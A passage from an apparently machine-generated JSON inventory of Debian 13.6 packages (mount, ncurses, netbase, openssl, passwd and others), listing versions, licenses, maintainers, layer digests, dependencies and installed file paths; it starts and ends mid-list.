"/usr/share/doc/mawk/examples/decl.awk", "/usr/share/doc/mawk/examples/deps.awk", "/usr/share/doc/mawk/examples/eatc.awk", "/usr/share/doc/mawk/examples/gdecl.awk", "/usr/share/doc/mawk/examples/hcal", "/usr/share/doc/mawk/examples/hical", "/usr/share/doc/mawk/examples/nocomment.awk", "/usr/share/doc/mawk/examples/primes.awk", "/usr/share/doc/mawk/examples/qsort.awk", "/usr/share/man/man1/mawk.1.gz", "/usr/share/man/man7/mawk-arrays.7.gz", "/usr/share/man/man7/mawk-code.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "mount@2.41-5", "Name": "mount", "Identifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "55c835c674d0a0e5" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/mount", "/usr/bin/umount", "/usr/sbin/losetup", "/usr/sbin/swapoff", "/usr/sbin/swapon", "/usr/share/bash-completion/completions/losetup", "/usr/share/bash-completion/completions/mount", "/usr/share/bash-completion/completions/swapoff", "/usr/share/bash-completion/completions/swapon", "/usr/share/bash-completion/completions/umount", "/usr/share/doc/mount/NEWS.Debian.gz", "/usr/share/doc/mount/changelog.Debian.gz", "/usr/share/doc/mount/changelog.gz", "/usr/share/doc/mount/copyright", "/usr/share/doc/mount/examples/filesystems", "/usr/share/doc/mount/examples/fstab", "/usr/share/doc/mount/examples/mount.fstab", "/usr/share/doc/mount/mount.txt", "/usr/share/lintian/overrides/mount", "/usr/share/man/man5/fstab.5.gz", "/usr/share/man/man8/losetup.8.gz", "/usr/share/man/man8/mount.8.gz", "/usr/share/man/man8/swapon.8.gz", "/usr/share/man/man8/umount.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "ncurses-base@6.5+20250216-2", "Name": "ncurses-base", "Identifier": { "PURL": "pkg:deb/debian/ncurses-base@6.5%2B20250216-2?arch=all\u0026distro=debian-13.6", "UID": "767a0231348a5cb5" }, "Version": "6.5+20250216", "Release": "2", "Arch": "all", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/ncurses-base/FAQ", "/usr/share/doc/ncurses-base/TODO.Debian", "/usr/share/doc/ncurses-base/changelog.Debian.gz", "/usr/share/doc/ncurses-base/changelog.gz", "/usr/share/doc/ncurses-base/copyright", "/usr/share/lintian/overrides/ncurses-base", "/usr/share/tabset/std", "/usr/share/tabset/stdcrt", "/usr/share/tabset/vt100", "/usr/share/tabset/vt300", "/usr/share/terminfo/E/Eterm", "/usr/share/terminfo/a/ansi", "/usr/share/terminfo/c/cons25", "/usr/share/terminfo/c/cygwin", "/usr/share/terminfo/d/dumb", "/usr/share/terminfo/h/hurd", "/usr/share/terminfo/l/linux", "/usr/share/terminfo/m/mach", "/usr/share/terminfo/m/mach-bold", "/usr/share/terminfo/m/mach-color", "/usr/share/terminfo/m/mach-gnu", "/usr/share/terminfo/m/mach-gnu-color", "/usr/share/terminfo/p/pcansi", "/usr/share/terminfo/r/rxvt", "/usr/share/terminfo/r/rxvt-basic", "/usr/share/terminfo/r/rxvt-unicode", "/usr/share/terminfo/r/rxvt-unicode-256color", "/usr/share/terminfo/s/screen", "/usr/share/terminfo/s/screen-256color", "/usr/share/terminfo/s/screen-256color-bce", "/usr/share/terminfo/s/screen-bce", "/usr/share/terminfo/s/screen-s", "/usr/share/terminfo/s/screen-w", "/usr/share/terminfo/s/screen.xterm-256color", "/usr/share/terminfo/s/sun", "/usr/share/terminfo/t/tmux", "/usr/share/terminfo/t/tmux-256color", "/usr/share/terminfo/v/vt100", "/usr/share/terminfo/v/vt102", "/usr/share/terminfo/v/vt220", "/usr/share/terminfo/v/vt52", "/usr/share/terminfo/w/wsvt25", "/usr/share/terminfo/w/wsvt25m", "/usr/share/terminfo/x/xterm", "/usr/share/terminfo/x/xterm-256color", "/usr/share/terminfo/x/xterm-color", "/usr/share/terminfo/x/xterm-mono", "/usr/share/terminfo/x/xterm-r5", "/usr/share/terminfo/x/xterm-r6", "/usr/share/terminfo/x/xterm-vt220", "/usr/share/terminfo/x/xterm-xfree86" ], "AnalyzedBy": "dpkg" }, { "ID": "ncurses-bin@6.5+20250216-2", "Name": "ncurses-bin", "Identifier": { "PURL": "pkg:deb/debian/ncurses-bin@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.6", "UID": "5b541563cf6587e5" }, "Version": "6.5+20250216", "Release": "2", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/clear", "/usr/bin/infocmp", "/usr/bin/tabs", "/usr/bin/tic", "/usr/bin/toe", "/usr/bin/tput", "/usr/bin/tset", "/usr/share/doc/ncurses-bin/changelog.Debian.gz", "/usr/share/doc/ncurses-bin/changelog.gz", "/usr/share/doc/ncurses-bin/copyright", "/usr/share/man/man1/captoinfo.1.gz", "/usr/share/man/man1/clear.1.gz", "/usr/share/man/man1/infocmp.1.gz", "/usr/share/man/man1/infotocap.1.gz", "/usr/share/man/man1/tabs.1.gz", "/usr/share/man/man1/tic.1.gz", "/usr/share/man/man1/toe.1.gz", "/usr/share/man/man1/tput.1.gz", "/usr/share/man/man1/tset.1.gz", "/usr/share/man/man5/scr_dump.5.gz", "/usr/share/man/man5/term.5.gz", "/usr/share/man/man5/terminfo.5.gz", "/usr/share/man/man5/user_caps.5.gz", "/usr/share/man/man7/term.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "netbase@6.5", "Name": "netbase", "Identifier": { "PURL": "pkg:deb/debian/netbase@6.5?arch=all\u0026distro=debian-13.6", "UID": "9929ff265179fc61" }, "Version": "6.5", "Arch": "all", "SrcName": "netbase", "SrcVersion": "6.5", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56" }, "InstalledFiles": [ "/usr/share/doc/netbase/changelog.gz", "/usr/share/doc/netbase/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "openssl@3.5.6-1~deb13u2", "Name": "openssl", "Identifier": { "PURL": "pkg:deb/debian/openssl@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "dd4ebaa84c3b4760" }, "Version": "3.5.6", "Release": "1~deb13u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.5.6", "SrcRelease": "1~deb13u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56" }, "InstalledFiles": [ "/usr/bin/c_rehash", "/usr/bin/openssl", "/usr/lib/ssl/misc/CA.pl", "/usr/lib/ssl/misc/tsget.pl", "/usr/share/doc/openssl/HOWTO/certificates.txt.gz", "/usr/share/doc/openssl/HOWTO/documenting-functions-and-macros.md.gz", "/usr/share/doc/openssl/HOWTO/keys.txt.gz", "/usr/share/doc/openssl/NEWS.md.gz", "/usr/share/doc/openssl/README-ENGINES.md.gz", "/usr/share/doc/openssl/README-PROVIDERS.md.gz", "/usr/share/doc/openssl/README-QUIC.md.gz", "/usr/share/doc/openssl/README.Debian", "/usr/share/doc/openssl/README.md.gz", "/usr/share/doc/openssl/changelog.Debian.gz", "/usr/share/doc/openssl/changelog.gz", "/usr/share/doc/openssl/copyright", "/usr/share/doc/openssl/fingerprints.txt", "/usr/share/lintian/overrides/openssl", "/usr/share/man/man1/CA.pl.1ssl.gz", "/usr/share/man/man1/openssl-asn1parse.1ssl.gz", "/usr/share/man/man1/openssl-ca.1ssl.gz", "/usr/share/man/man1/openssl-ciphers.1ssl.gz", "/usr/share/man/man1/openssl-cmds.1ssl.gz", "/usr/share/man/man1/openssl-cmp.1ssl.gz", "/usr/share/man/man1/openssl-cms.1ssl.gz", "/usr/share/man/man1/openssl-crl.1ssl.gz", "/usr/share/man/man1/openssl-crl2pkcs7.1ssl.gz", "/usr/share/man/man1/openssl-dgst.1ssl.gz", "/usr/share/man/man1/openssl-dhparam.1ssl.gz", "/usr/share/man/man1/openssl-dsa.1ssl.gz", "/usr/share/man/man1/openssl-dsaparam.1ssl.gz", "/usr/share/man/man1/openssl-ec.1ssl.gz", "/usr/share/man/man1/openssl-ecparam.1ssl.gz", "/usr/share/man/man1/openssl-enc.1ssl.gz", "/usr/share/man/man1/openssl-engine.1ssl.gz", "/usr/share/man/man1/openssl-errstr.1ssl.gz", "/usr/share/man/man1/openssl-fipsinstall.1ssl.gz", "/usr/share/man/man1/openssl-format-options.1ssl.gz", "/usr/share/man/man1/openssl-gendsa.1ssl.gz", "/usr/share/man/man1/openssl-genpkey.1ssl.gz", "/usr/share/man/man1/openssl-genrsa.1ssl.gz", "/usr/share/man/man1/openssl-info.1ssl.gz", "/usr/share/man/man1/openssl-kdf.1ssl.gz", "/usr/share/man/man1/openssl-list.1ssl.gz", "/usr/share/man/man1/openssl-mac.1ssl.gz", "/usr/share/man/man1/openssl-namedisplay-options.1ssl.gz", "/usr/share/man/man1/openssl-nseq.1ssl.gz", "/usr/share/man/man1/openssl-ocsp.1ssl.gz", "/usr/share/man/man1/openssl-passphrase-options.1ssl.gz", "/usr/share/man/man1/openssl-passwd.1ssl.gz", "/usr/share/man/man1/openssl-pkcs12.1ssl.gz", "/usr/share/man/man1/openssl-pkcs7.1ssl.gz", "/usr/share/man/man1/openssl-pkcs8.1ssl.gz", "/usr/share/man/man1/openssl-pkey.1ssl.gz", "/usr/share/man/man1/openssl-pkeyparam.1ssl.gz", "/usr/share/man/man1/openssl-pkeyutl.1ssl.gz", "/usr/share/man/man1/openssl-prime.1ssl.gz", "/usr/share/man/man1/openssl-rand.1ssl.gz", "/usr/share/man/man1/openssl-rehash.1ssl.gz", "/usr/share/man/man1/openssl-req.1ssl.gz", "/usr/share/man/man1/openssl-rsa.1ssl.gz", "/usr/share/man/man1/openssl-rsautl.1ssl.gz", "/usr/share/man/man1/openssl-s_client.1ssl.gz", "/usr/share/man/man1/openssl-s_server.1ssl.gz", "/usr/share/man/man1/openssl-s_time.1ssl.gz", "/usr/share/man/man1/openssl-sess_id.1ssl.gz", "/usr/share/man/man1/openssl-skeyutl.1ssl.gz", "/usr/share/man/man1/openssl-smime.1ssl.gz", "/usr/share/man/man1/openssl-speed.1ssl.gz", "/usr/share/man/man1/openssl-spkac.1ssl.gz", "/usr/share/man/man1/openssl-srp.1ssl.gz", "/usr/share/man/man1/openssl-storeutl.1ssl.gz", "/usr/share/man/man1/openssl-ts.1ssl.gz", "/usr/share/man/man1/openssl-verification-options.1ssl.gz", "/usr/share/man/man1/openssl-verify.1ssl.gz", "/usr/share/man/man1/openssl-version.1ssl.gz", "/usr/share/man/man1/openssl-x509.1ssl.gz", "/usr/share/man/man1/openssl.1ssl.gz", "/usr/share/man/man1/tsget.1ssl.gz", "/usr/share/man/man5/config.5ssl.gz", "/usr/share/man/man5/fips_config.5ssl.gz", "/usr/share/man/man5/x509v3_config.5ssl.gz", "/usr/share/man/man7/EVP_ASYM_CIPHER-RSA.7ssl.gz", "/usr/share/man/man7/EVP_ASYM_CIPHER-SM2.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-AES.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-ARIA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-BLOWFISH.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CAMELLIA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CAST.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CHACHA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-DES.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-IDEA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-NULL.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC2.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC4.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC5.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-SEED.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-SM4.7ssl.gz", "/usr/share/man/man7/EVP_KDF-ARGON2.7ssl.gz", "/usr/share/man/man7/EVP_KDF-HKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-HMAC-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_KDF-KB.7ssl.gz", "/usr/share/man/man7/EVP_KDF-KRB5KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PBKDF1.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PBKDF2.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PKCS12KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PVKKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SCRYPT.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SS.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SSHKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-TLS13_KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-TLS1_PRF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X942-ASN1.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X942-CONCAT.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X963.7ssl.gz", "/usr/share/man/man7/EVP_KEM-EC.7ssl.gz", "/usr/share/man/man7/EVP_KEM-ML-KEM.7ssl.gz", "/usr/share/man/man7/EVP_KEM-RSA.7ssl.gz", "/usr/share/man/man7/EVP_KEM-X25519.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-DH.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-ECDH.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-X25519.7ssl.gz", "/usr/share/man/man7/EVP_MAC-BLAKE2.7ssl.gz", "/usr/share/man/man7/EVP_MAC-CMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-GMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-KMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-Poly1305.7ssl.gz", "/usr/share/man/man7/EVP_MAC-Siphash.7ssl.gz", "/usr/share/man/man7/EVP_MD-BLAKE2.7ssl.gz", "/usr/share/man/man7/EVP_MD-KECCAK.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD2.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD4.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD5-SHA1.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD5.7ssl.gz", "/usr/share/man/man7/EVP_MD-MDC2.7ssl.gz", "/usr/share/man/man7/EVP_MD-NULL.7ssl.gz", "/usr/share/man/man7/EVP_MD-RIPEMD160.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA1.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA2.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA3.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHAKE.7ssl.gz", "/usr/share/man/man7/EVP_MD-SM3.7ssl.gz", "/usr/share/man/man7/EVP_MD-WHIRLPOOL.7ssl.gz", "/usr/share/man/man7/EVP_MD-common.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-DH.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-EC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-FFC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-ML-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-ML-KEM.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-RSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-SLH-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-SM2.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-X25519.7ssl.gz", "/usr/share/man/man7/EVP_RAND-CRNG-TEST.7ssl.gz", "/usr/share/man/man7/EVP_RAND-CTR-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-HASH-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-HMAC-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-JITTER.7ssl.gz", "/usr/share/man/man7/EVP_RAND-SEED-SRC.7ssl.gz", "/usr/share/man/man7/EVP_RAND-TEST-RAND.7ssl.gz", "/usr/share/man/man7/EVP_RAND.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-DSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ECDSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ED25519.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ML-DSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-RSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-SLH-DSA.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-FIPS.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-base.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-default.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-legacy.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-null.7ssl.gz", "/usr/share/man/man7/OSSL_STORE-winstore.7ssl.gz", "/usr/share/man/man7/RAND.7ssl.gz", "/usr/share/man/man7/RSA-PSS.7ssl.gz", "/usr/share/man/man7/X25519.7ssl.gz", "/usr/share/man/man7/bio.7ssl.gz", "/usr/share/man/man7/ct.7ssl.gz", "/usr/share/man/man7/des_modes.7ssl.gz", "/usr/share/man/man7/evp.7ssl.gz", "/usr/share/man/man7/fips_module.7ssl.gz", "/usr/share/man/man7/life_cycle-cipher.7ssl.gz", "/usr/share/man/man7/life_cycle-digest.7ssl.gz", "/usr/share/man/man7/life_cycle-kdf.7ssl.gz", "/usr/share/man/man7/life_cycle-mac.7ssl.gz", "/usr/share/man/man7/life_cycle-pkey.7ssl.gz", "/usr/share/man/man7/life_cycle-rand.7ssl.gz", "/usr/share/man/man7/openssl-core.h.7ssl.gz", "/usr/share/man/man7/openssl-core_dispatch.h.7ssl.gz", "/usr/share/man/man7/openssl-core_names.h.7ssl.gz", "/usr/share/man/man7/openssl-env.7ssl.gz", "/usr/share/man/man7/openssl-glossary.7ssl.gz", "/usr/share/man/man7/openssl-qlog.7ssl.gz", "/usr/share/man/man7/openssl-quic-concurrency.7ssl.gz", "/usr/share/man/man7/openssl-quic.7ssl.gz", "/usr/share/man/man7/openssl-threads.7ssl.gz", "/usr/share/man/man7/openssl_user_macros.7ssl.gz", "/usr/share/man/man7/ossl-guide-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-libcrypto-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-libraries-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-libssl-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-migration.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-client-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-client-non-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-multi-stream.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-server-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-quic-server-non-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-client-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-client-non-block.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-introduction.7ssl.gz", "/usr/share/man/man7/ossl-guide-tls-server-block.7ssl.gz", "/usr/share/man/man7/ossl_store-file.7ssl.gz", "/usr/share/man/man7/ossl_store.7ssl.gz", "/usr/share/man/man7/passphrase-encoding.7ssl.gz", "/usr/share/man/man7/property.7ssl.gz", "/usr/share/man/man7/provider-asym_cipher.7ssl.gz", "/usr/share/man/man7/provider-base.7ssl.gz", "/usr/share/man/man7/provider-cipher.7ssl.gz", "/usr/share/man/man7/provider-decoder.7ssl.gz", "/usr/share/man/man7/provider-digest.7ssl.gz", "/usr/share/man/man7/provider-encoder.7ssl.gz", "/usr/share/man/man7/provider-kdf.7ssl.gz", "/usr/share/man/man7/provider-kem.7ssl.gz", "/usr/share/man/man7/provider-keyexch.7ssl.gz", "/usr/share/man/man7/provider-keymgmt.7ssl.gz", "/usr/share/man/man7/provider-mac.7ssl.gz", "/usr/share/man/man7/provider-object.7ssl.gz", "/usr/share/man/man7/provider-rand.7ssl.gz", "/usr/share/man/man7/provider-signature.7ssl.gz", "/usr/share/man/man7/provider-skeymgmt.7ssl.gz", "/usr/share/man/man7/provider-storemgmt.7ssl.gz", "/usr/share/man/man7/provider.7ssl.gz", "/usr/share/man/man7/proxy-certificates.7ssl.gz", "/usr/share/man/man7/x509.7ssl.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "openssl-provider-legacy@3.5.6-1~deb13u2", "Name": "openssl-provider-legacy", "Identifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "ae2ffed3c3eb2cf9" }, "Version": "3.5.6", "Release": "1~deb13u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.5.6", "SrcRelease": "1~deb13u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so", "/usr/share/doc/openssl-provider-legacy/changelog.Debian.gz", "/usr/share/doc/openssl-provider-legacy/changelog.gz", "/usr/share/doc/openssl-provider-legacy/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "passwd@1:4.17.4-2", "Name": "passwd", "Identifier": { "PURL": "pkg:deb/debian/passwd@4.17.4-2?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "d93f813ae3092e32" }, "Version": "4.17.4", "Release": "2", "Epoch": 1, "Arch": "amd64", "SrcName": "shadow", "SrcVersion": "4.17.4", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-1.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "base-passwd@3.6.7", "libacl1@2.3.2-2+b1", "libattr1@1:2.5.2-3", "libaudit1@1:4.0.2-2+b2", "libbsd0@0.12.2-2", "libc6@2.41-12+deb13u3", "libcrypt1@1:4.4.38-1", "libpam-modules@1.7.0-5", "libpam0g@1.7.0-5", "libselinux1@3.8.1-1", "libsemanage2@3.8.1-1", "login.defs@1:4.17.4-2" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/chage", "/usr/bin/chfn", "/usr/bin/chsh", "/usr/bin/expiry", "/usr/bin/gpasswd", "/usr/bin/passwd", "/usr/lib/tmpfiles.d/passwd.conf", "/usr/sbin/chgpasswd", "/usr/sbin/chpasswd", "/usr/sbin/groupadd", "/usr/sbin/groupdel", "/usr/sbin/groupmod", "/usr/sbin/grpck", "/usr/sbin/grpconv", "/usr/sbin/grpunconv", "/usr/sbin/newusers", "/usr/sbin/pwck", "/usr/sbin/pwconv", "/usr/sbin/pwunconv", "/usr/sbin/shadowconfig", "/usr/sbin/useradd", "/usr/sbin/userdel", "/usr/sbin/usermod", "/usr/sbin/vipw", "/usr/share/doc/passwd/NEWS.Debian.gz", "/usr/share/doc/passwd/README.Debian", "/usr/share/doc/passwd/TODO.Debian", "/usr/share/doc/passwd/changelog.Debian.gz", "/usr/share/doc/passwd/changelog.gz", "/usr/share/doc/passwd/copyright", "/usr/share/doc/passwd/examples/passwd.expire.cron", "/usr/share/lintian/overrides/passwd", "/usr/share/locale/bs/LC_MESSAGES/shadow.mo", "/usr/share/locale/ca/LC_MESSAGES/shadow.mo", "/usr/share/locale/cs/LC_MESSAGES/shadow.mo", "/usr/share/locale/da/LC_MESSAGES/shadow.mo", "/usr/share/locale/de/LC_MESSAGES/shadow.mo", "/usr/share/locale/dz/LC_MESSAGES/shadow.mo", "/usr/share/locale/el/LC_MESSAGES/shadow.mo", "/usr/share/locale/es/LC_MESSAGES/shadow.mo", "/usr/share/locale/eu/LC_MESSAGES/shadow.mo", "/usr/share/locale/fi/LC_MESSAGES/shadow.mo", "/usr/share/locale/fr/LC_MESSAGES/shadow.mo", "/usr/share/locale/gl/LC_MESSAGES/shadow.mo", "/usr/share/locale/he/LC_MESSAGES/shadow.mo", "/usr/share/locale/hu/LC_MESSAGES/shadow.mo", "/usr/share/locale/id/LC_MESSAGES/shadow.mo", "/usr/share/locale/it/LC_MESSAGES/shadow.mo", "/usr/share/locale/ja/LC_MESSAGES/shadow.mo", "/usr/share/locale/ka/LC_MESSAGES/shadow.mo", "/usr/share/locale/kk/LC_MESSAGES/shadow.mo", "/usr/share/locale/km/LC_MESSAGES/shadow.mo", "/usr/share/locale/ko/LC_MESSAGES/shadow.mo", "/usr/share/locale/nb/LC_MESSAGES/shadow.mo", "/usr/share/locale/ne/LC_MESSAGES/shadow.mo", "/usr/share/locale/nl/LC_MESSAGES/shadow.mo", "/usr/share/locale/nn/LC_MESSAGES/shadow.mo", "/usr/share/locale/pl/LC_MESSAGES/shadow.mo", "/usr/share/locale/pt/LC_MESSAGES/shadow.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/shadow.mo", "/usr/share/locale/ro/LC_MESSAGES/shadow.mo", "/usr/share/locale/ru/LC_MESSAGES/shadow.mo", "/usr/share/locale/sk/LC_MESSAGES/shadow.mo", "/usr/share/locale/sq/LC_MESSAGES/shadow.mo", "/usr/share/locale/sv/LC_MESSAGES/shadow.mo", "/usr/share/locale/tl/LC_MESSAGES/shadow.mo", "/usr/share/locale/tr/LC_MESSAGES/shadow.mo", "/usr/share/locale/uk/LC_MESSAGES/shadow.mo", "/usr/share/locale/vi/LC_MESSAGES/shadow.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/shadow.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/shadow.mo", "/usr/share/man/cs/man1/expiry.1.gz", "/usr/share/man/cs/man1/gpasswd.1.gz", "/usr/share/man/cs/man5/gshadow.5.gz", "/usr/share/man/cs/man5/passwd.5.gz", "/usr/share/man/cs/man5/shadow.5.gz", "/usr/share/man/cs/man8/groupadd.8.gz", "/usr/share/man/cs/man8/groupdel.8.gz", "/usr/share/man/cs/man8/groupmod.8.gz", "/usr/share/man/cs/man8/grpck.8.gz", "/usr/share/man/cs/man8/vipw.8.gz", "/usr/share/man/da/man1/chfn.1.gz", "/usr/share/man/da/man5/gshadow.5.gz", "/usr/share/man/da/man8/groupdel.8.gz", "/usr/share/man/da/man8/vipw.8.gz", "/usr/share/man/de/man1/chage.1.gz", "/usr/share/man/de/man1/chfn.1.gz", "/usr/share/man/de/man1/chsh.1.gz", "/usr/share/man/de/man1/expiry.1.gz", "/usr/share/man/de/man1/gpasswd.1.gz", "/usr/share/man/de/man1/passwd.1.gz", "/usr/share/man/de/man5/gshadow.5.gz", "/usr/share/man/de/man5/passwd.5.gz", "/usr/share/man/de/man5/shadow.5.gz", "/usr/share/man/de/man8/chgpasswd.8.gz", "/usr/share/man/de/man8/chpasswd.8.gz", "/usr/share/man/de/man8/groupadd.8.gz", "/usr/share/man/de/man8/groupdel.8.gz", 